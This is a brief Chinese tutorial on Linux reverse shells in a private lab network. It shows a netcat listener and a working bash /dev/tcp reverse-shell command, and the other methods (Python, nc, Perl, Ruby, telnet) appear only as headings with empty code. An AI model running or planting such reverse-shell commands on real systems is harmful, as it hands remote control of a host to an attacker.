Linux反弹Shell总结
简介
LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务端的角色反转
本篇文章介绍LINUX反弹Shell的多种姿势, 在真实的渗透环境中, 根据客户端存在哪些命令的实际情况, 来采取相应的反弹shell姿势
实验环境
操作系统
IP地址
Kali Linux(服务端)
192.168.47.155
Ununtu Linux(客户端)
192.168.47.151
服务端监听端口
服务端kali监听端口
nc -lvp 4444
客户端反弹shell
1.bash反弹
bash -i表示在本地打开一个交互式BashSehll
/dev/tcp是Linux一个特殊设备, 打开该文件相当于建立socket连接, 读写该文件相当于在socket连接中传输数据
0>&1将标准输入重定向至标准输出
bash -i >& /dev/tcp/192.168.47.155/4444表示将bash的标准输出和标准错误输出发送给远程服务器的4444端口。我们只要客户端主机输入命令, 命令执行的结果以及错误提示都会发送给远程服务器


2.python反弹
python3


python2


3.nc反弹shell
-e后面接的参数表示在创建连接后执行的程序


有些老版本的nc不支持-e参数, 可使用如下命令进行反弹


4.perl反弹
依赖/bin/sh
/bin/sh

不依赖/bin/sh
/bin/sh

5.ruby反弹


6.telnet反弹


最后更新于